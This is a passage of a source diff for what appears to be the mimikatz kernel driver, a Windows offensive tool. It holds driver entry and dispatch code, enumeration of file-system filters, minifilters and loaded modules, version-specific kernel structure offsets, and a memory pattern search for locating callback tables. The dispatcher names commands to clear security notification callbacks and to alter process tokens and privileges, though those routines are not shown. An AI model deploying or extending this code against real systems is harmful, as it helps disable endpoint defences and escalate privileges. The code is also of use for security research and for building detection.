if(ActualNumberDriverObjects > 0)
|
||||
{
|
||||
DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG);
|
||||
if(DriverObjectList != NULL)
|
||||
{
|
||||
IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects);
|
||||
for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName));
|
||||
//DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName));
|
||||
ObDereferenceObject(DriverObjectList[i]);
|
||||
}
|
||||
ExFreePoolWithTag(DriverObjectList, POOL_TAG);
|
||||
}
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
#pragma once
|
||||
#include <ntifs.h>
|
||||
#include "k_types.h"
|
||||
|
||||
NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
#pragma once
|
||||
#include <ntddk.h>
|
||||
#include <ntstrsafe.h>
|
||||
|
||||
#define MIN(a, b) (((a) < (b)) ? (a) : (b))
|
||||
#define MAX(a, b) (((a) > (b)) ? (a) : (b))
|
||||
|
||||
#ifndef KIWI_NameToFunc
|
||||
#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;}
|
||||
#endif
|
||||
|
||||
#ifndef KIWI_mask3bits
|
||||
#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7)
|
||||
#endif
|
||||
|
||||
#define POOL_TAG 'iwik'
|
||||
|
||||
#define INDEX_UNK 0
|
||||
#define INDEX_XP 1
|
||||
#define INDEX_2K3 2
|
||||
#define INDEX_VISTA 3
|
||||
#define INDEX_2K8 4
|
||||
#define INDEX_7 5
|
||||
#define INDEX_2K8R2 6
|
||||
#define INDEX_8 7
|
||||
#define MAX_OS_LEN 8
|
||||
|
||||
#ifdef _M_IX86
|
||||
#define EX_FAST_REF_MASK 0x07
|
||||
#else
|
||||
#define EX_FAST_REF_MASK 0x0f
|
||||
#endif
|
||||
|
||||
typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
||||
ULONG INDEX_OS;
|
||||
|
||||
PDRIVER_OBJECT moi;
|
||||
|
||||
typedef struct _SERVICE_DESCRIPTOR_TABLE {
|
||||
#ifdef _M_IX86
|
||||
PVOID *ServiceTable;
|
||||
#else
|
||||
LONG *OffsetToService;
|
||||
#endif
|
||||
PULONG CounterTable;
|
||||
ULONG TableSize;
|
||||
PUCHAR ArgumentTable;
|
||||
} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
|
||||
|
|
@ -0,0 +1,193 @@
|
|||
#include "mimikatz.h"
|
||||
|
||||
ptrLocalFunction maFunc = NULL;
|
||||
|
||||
NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
|
||||
{
|
||||
return STATUS_NOT_SUPPORTED;
|
||||
}
|
||||
|
||||
NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp)
|
||||
{
|
||||
NTSTATUS status = STATUS_INVALID_PARAMETER;
|
||||
PIO_STACK_LOCATION pIoStackIrp = NULL;
|
||||
PWSTR params;
|
||||
size_t tailleParams;
|
||||
|
||||
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
|
||||
if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp)
|
||||
{
|
||||
status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc);
|
||||
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length;
|
||||
}
|
||||
}
|
||||
IoCompleteRequest(Irp, IO_NO_INCREMENT);
|
||||
Irp->IoStatus.Status = status;
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp)
|
||||
{
|
||||
NTSTATUS status = STATUS_INVALID_HANDLE;
|
||||
PIO_STACK_LOCATION pIoStackIrp = NULL;
|
||||
|
||||
LPWSTR pszDestEnd;
|
||||
size_t pcbRemaining;
|
||||
|
||||
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
|
||||
if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp)
|
||||
{
|
||||
if(maFunc)
|
||||
{
|
||||
status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining);
|
||||
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = STATUS_PROCEDURE_NOT_FOUND;
|
||||
}
|
||||
}
|
||||
IoCompleteRequest(Irp, IO_NO_INCREMENT);
|
||||
Irp->IoStatus.Status = status;
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
void DriverUnload(IN PDRIVER_OBJECT theDriverObject)
|
||||
{
|
||||
UNICODE_STRING UStrDosDeviceName;
|
||||
RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz");
|
||||
IoDeleteSymbolicLink(&UStrDosDeviceName);
|
||||
IoDeleteDevice(theDriverObject->DeviceObject);
|
||||
}
|
||||
|
||||
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
|
||||
{
|
||||
NTSTATUS status;
|
||||
UNICODE_STRING UStrDriverName, UStrDosDeviceName;
|
||||
PDEVICE_OBJECT pDeviceObject = NULL;
|
||||
ULONG i;
|
||||
|
||||
moi = theDriverObject;
|
||||
RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz");
|
||||
status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
|
||||
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
INDEX_OS = getWindowsIndex();
|
||||
|
||||
for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
|
||||
theDriverObject->MajorFunction[i] = UnSupported;
|
||||
|
||||
theDriverObject->MajorFunction[IRP_MJ_READ] = Read;
|
||||
theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write;
|
||||
|
||||
theDriverObject->DriverUnload = DriverUnload;
|
||||
|
||||
pDeviceObject->Flags |= DO_BUFFERED_IO;
|
||||
pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
|
||||
|
||||
RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz");
|
||||
IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName);
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
ULONG getWindowsIndex()
|
||||
{
|
||||
switch(*NtBuildNumber)
|
||||
{
|
||||
case 2600:
|
||||
return INDEX_XP;
|
||||
break;
|
||||
case 3790:
|
||||
return INDEX_2K3;
|
||||
break;
|
||||
case 6000:
|
||||
case 6001:
|
||||
return INDEX_VISTA;
|
||||
case 6002:
|
||||
return INDEX_2K8;
|
||||
break;
|
||||
case 7600:
|
||||
case 7601:
|
||||
return INDEX_7;
|
||||
break;
|
||||
case 8102:
|
||||
case 8250:
|
||||
case 9200:
|
||||
return INDEX_8;
|
||||
break;
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc)
|
||||
{
|
||||
NTSTATUS status;
|
||||
size_t tailleChaine;
|
||||
ULONG i;
|
||||
ULONG taillFunc;
|
||||
|
||||
status = RtlStringCbLengthW(buffer, taille, &tailleChaine);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++);
|
||||
|
||||
if( (i+1) < (tailleChaine / sizeof(WCHAR)))
|
||||
{
|
||||
*params = buffer + (i+1);
|
||||
*tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!!
|
||||
DbgPrint("%u", *tailleParams);
|
||||
}
|
||||
else
|
||||
{
|
||||
*params = NULL;
|
||||
*tailleParams = 0;
|
||||
}
|
||||
|
||||
*destFunc = NULL;
|
||||
taillFunc = i*sizeof(WCHAR);
|
||||
|
||||
|
||||
KIWI_NameToFunc(L"ping", kPing);
|
||||
|
||||
if(INDEX_OS)
|
||||
{
|
||||
KIWI_NameToFunc(L"ssdt", kSSDT);
|
||||
|
||||
KIWI_NameToFunc(L"listModules", kModulesList);
|
||||
KIWI_NameToFunc(L"listFilters", kFiltersList);
|
||||
KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList);
|
||||
|
||||
KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses);
|
||||
KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads);
|
||||
KIWI_NameToFunc(L"listNotifImages", kListNotifyImages);
|
||||
KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry);
|
||||
KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects);
|
||||
KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects);
|
||||
|
||||
KIWI_NameToFunc(L"listProcesses", listProcesses);
|
||||
KIWI_NameToFunc(L"sysToken", sysToken);
|
||||
KIWI_NameToFunc(L"privProcesses", privProcesses);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n");
|
||||
}
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
#pragma once
|
||||
|
||||
#include "minifilters.h"
|
||||
#include "fsfilters.h"
|
||||
#include "modules.h"
|
||||
#include "processes.h"
|
||||
#include "ssdt.h"
|
||||
|
||||
#include "notify.h"
|
||||
|
||||
#include "k_types.h"
|
||||
|
||||
#include <ntddk.h>
|
||||
|
||||
extern PSHORT NtBuildNumber;
|
||||
ULONG getWindowsIndex();
|
||||
|
||||
DRIVER_INITIALIZE DriverEntry;
|
||||
DRIVER_UNLOAD DriverUnload;
|
||||
|
||||
DRIVER_DISPATCH UnSupported;
|
||||
__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read;
|
||||
__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write;
|
||||
|
||||
NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc);
|
||||
NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
|
@ -0,0 +1,193 @@
|
|||
#include "minifilters.h"
|
||||
|
||||
const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] =
|
||||
{
|
||||
/* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */
|
||||
#ifdef _M_IX86
|
||||
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000},
|
||||
/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c},
|
||||
/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c},
|
||||
/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030},
|
||||
/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030},
|
||||
/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030},
|
||||
/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/
|
||||
/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030}
|
||||
#else
|
||||
/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000},
|
||||
/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */
|
||||
/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048},
|
||||
/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050},
|
||||
/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050},
|
||||
/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050},
|
||||
/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050},
|
||||
/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050}
|
||||
#endif
|
||||
};
|
||||
|
||||
const WCHAR *irpToName[] = {
|
||||
L"CREATE",
|
||||
L"CREATE_NAMED_PIPE",
|
||||
L"CLOSE",
|
||||
L"READ",
|
||||
L"WRITE",
|
||||
L"QUERY_INFORMATION",
|
||||
L"SET_INFORMATION",
|
||||
L"QUERY_EA",
|
||||
L"SET_EA",
|
||||
L"FLUSH_BUFFERS",
|
||||
L"QUERY_VOLUME_INFORMATION",
|
||||
L"SET_VOLUME_INFORMATION",
|
||||
L"DIRECTORY_CONTROL",
|
||||
L"FILE_SYSTEM_CONTROL",
|
||||
L"DEVICE_CONTROL",
|
||||
L"INTERNAL_DEVICE_CONTROL",
|
||||
L"SHUTDOWN",
|
||||
L"LOCK_CONTROL",
|
||||
L"CLEANUP",
|
||||
L"CREATE_MAILSLOT",
|
||||
L"QUERY_SECURITY",
|
||||
L"SET_SECURITY",
|
||||
L"POWER",
|
||||
L"SYSTEM_CONTROL",
|
||||
L"DEVICE_CHANGE",
|
||||
L"QUERY_QUOTA",
|
||||
L"SET_QUOTA",
|
||||
L"PNP",
|
||||
};
|
||||
|
||||
NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status;
|
||||
|
||||
ULONG i, j, k;
|
||||
|
||||
ULONG NumberFiltersReturned = 0;
|
||||
PFLT_FILTER *FilterList = NULL;
|
||||
|
||||
ULONG BytesReturned = 0;
|
||||
PFILTER_FULL_INFORMATION myFilterFullInformation = NULL;
|
||||
|
||||
PFLT_INSTANCE *InstanceList = NULL;
|
||||
ULONG NumberInstancesReturned = 0;
|
||||
|
||||
PFLT_VOLUME RetVolume = NULL;
|
||||
|
||||
PVOID monCallBack, preCallBack, postCallBack;
|
||||
|
||||
*ppszDestEnd = pszDest;
|
||||
*pcbRemaining= cbDest;
|
||||
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n");
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned);
|
||||
if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0))
|
||||
{
|
||||
FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG);
|
||||
if(FilterList != NULL)
|
||||
{
|
||||
status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned);
|
||||
for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++)
|
||||
{
|
||||
status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned);
|
||||
if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0))
|
||||
{
|
||||
myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG);
|
||||
if(myFilterFullInformation != NULL)
|
||||
{
|
||||
status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L"%*.*ws\n",
|
||||
myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR),
|
||||
myFilterFullInformation->FilterNameBuffer
|
||||
);
|
||||
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned);
|
||||
if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0))
|
||||
{
|
||||
InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG);
|
||||
if(InstanceList != NULL)
|
||||
{
|
||||
status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned);
|
||||
for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++)
|
||||
{
|
||||
/*
|
||||
http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx
|
||||
* InstanceName
|
||||
* Altitude
|
||||
* VolumeName
|
||||
- FilterName
|
||||
*/
|
||||
|
||||
if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume)))
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L" Instance %u @ %wZ\n",
|
||||
j,
|
||||
(PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF])
|
||||
);
|
||||
FltObjectDereference (RetVolume);
|
||||
}
|
||||
else
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L" Instance %u\n",
|
||||
j
|
||||
);
|
||||
}
|
||||
|
||||
for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++)
|
||||
{
|
||||
monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k);
|
||||
if(monCallBack != NULL)
|
||||
{
|
||||
preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]);
|
||||
postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]);
|
||||
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L" [0x%2x %-24ws] ",
|
||||
k,
|
||||
irpToName[k - 0x16]
|
||||
);
|
||||
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / ");
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining);
|
||||
if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
FltObjectDereference (InstanceList[j]);
|
||||
}
|
||||
ExFreePoolWithTag(InstanceList, POOL_TAG);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ExFreePoolWithTag(myFilterFullInformation, POOL_TAG);
|
||||
}
|
||||
}
|
||||
FltObjectDereference (FilterList[i]);
|
||||
}
|
||||
ExFreePoolWithTag(FilterList, POOL_TAG);
|
||||
}
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
#pragma once
|
||||
#include <fltkernel.h>
|
||||
#include "k_types.h"
|
||||
#include "modules.h"
|
||||
|
||||
#define INDEX_MF_CALLBACK_OFF 0
|
||||
#define INDEX_MF_CALLBACK_PRE_OFF 1
|
||||
#define INDEX_MF_CALLBACK_POST_OFF 2
|
||||
#define INDEX_MF_VOLUME_NAME_OFF 3
|
||||
#define MAX_MF_LEN 4
|
||||
|
||||
NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
#include "mod_memory.h"
|
||||
|
||||
NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur)
|
||||
{
|
||||
for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1)
|
||||
{
|
||||
if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur)
|
||||
{
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
*addressePattern = NULL;
|
||||
return STATUS_NOT_FOUND;
|
||||
}
|
||||
|
||||
NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo)
|
||||
{
|
||||
NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur);
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
*addressePointeur += offsetTo;
|
||||
#ifdef _M_X64
|
||||
*addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur);
|
||||
#elif defined _M_IX86
|
||||
*addressePointeur = *(PUCHAR *)(*addressePointeur);
|
||||
#endif
|
||||
|
||||
if(!*addressePointeur)
|
||||
status = STATUS_INVALID_HANDLE;
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
#pragma once
|
||||
#include "k_types.h"
|
||||
|
||||
NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur);
|
||||
NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo);
|
||||
|
|
@ -0,0 +1,110 @@
|
|||
#include "modules.h"
|
||||
|
||||
NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
ULONG i;
|
||||
ULONG modulesSize;
|
||||
AUX_MODULE_EXTENDED_INFO* modules;
|
||||
ULONG numberOfModules;
|
||||
|
||||
*ppszDestEnd = pszDest;
|
||||
*pcbRemaining= cbDest;
|
||||
|
||||
status = AuxKlibInitialize();
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL);
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
if(modulesSize > 0)
|
||||
{
|
||||
numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);
|
||||
modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG);
|
||||
|
||||
if(modules != NULL)
|
||||
{
|
||||
status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
for(i = 0; i < numberOfModules; i++)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L"%p - %.8u [%S] %S\n",
|
||||
modules[i].BasicInfo.ImageBase,
|
||||
modules[i].ImageSize,
|
||||
modules[i].FullPathName + modules[i].FileNameOffset,
|
||||
modules[i].FullPathName
|
||||
);
|
||||
}
|
||||
}
|
||||
ExFreePoolWithTag(modules, POOL_TAG);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
|
||||
{
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
ULONG i;
|
||||
ULONG modulesSize;
|
||||
AUX_MODULE_EXTENDED_INFO* modules;
|
||||
ULONG numberOfModules;
|
||||
|
||||
*ppszDestEnd = pszDest;
|
||||
*pcbRemaining= cbDest;
|
||||
|
||||
status = AuxKlibInitialize();
|
||||
if(NT_SUCCESS(status))
|
||||
{
|
||||
status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL);
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
if(modulesSize > 0)
|
||||
{
|
||||
numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);
|
||||
modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG);
|
||||
|
||||
if(modules != NULL)
|
||||
{
|
||||
status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
for(i = 0; i < numberOfModules; i++)
|
||||
{
|
||||
status = STATUS_NOT_FOUND;
|
||||
if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize))
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION,
|
||||
L"%p [%S+%u]",
|
||||
theAddr,
|
||||
modules[i].FullPathName + modules[i].FileNameOffset,
|
||||
theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase
|
||||
);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
if(status == STATUS_NOT_FOUND)
|
||||
{
|
||||
status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr);
|
||||
if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND;
|
||||
}
|
||||
}
|
||||
ExFreePoolWithTag(modules, POOL_TAG);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
#pragma once
|
||||
#include <ntddk.h>
|
||||
#include <aux_klib.h>
|
||||
#include "k_types.h"
|
||||
|
||||
NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
#pragma once
|
||||
#include <ntifs.h>
|
||||
#include "k_types.h"
|
||||
#include "modules.h"
|
||||
#include "mod_memory.h"
|
||||
#include "notify_process.h"
|
||||
#include "notify_thread.h"
|
||||
#include "notify_image.h"
|
||||
#include "notify_reg.h"
|
||||
#include "notify_object.h"
|
||||
|
||||
typedef struct _KIWI_CALLBACK
|
||||
{
|
||||
#ifdef _M_IX86
|
||||
PVOID unk0;
|
||||
#endif
|
||||
PVOID * callback;
|
||||
LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi
|
||||
} KIWI_CALLBACK, *PKIWI_CALLBACK;
|
||||
|
|
@ -0,0 +1,117 @@
|
|||
#include "notify_image.h"
|
||||
|
||||
ULONG * PspLoadImageNotifyRoutineCount = NULL;
|
||||
PVOID * PspLoadImageNotifyRoutine = NULL;
|
||||
|
||||
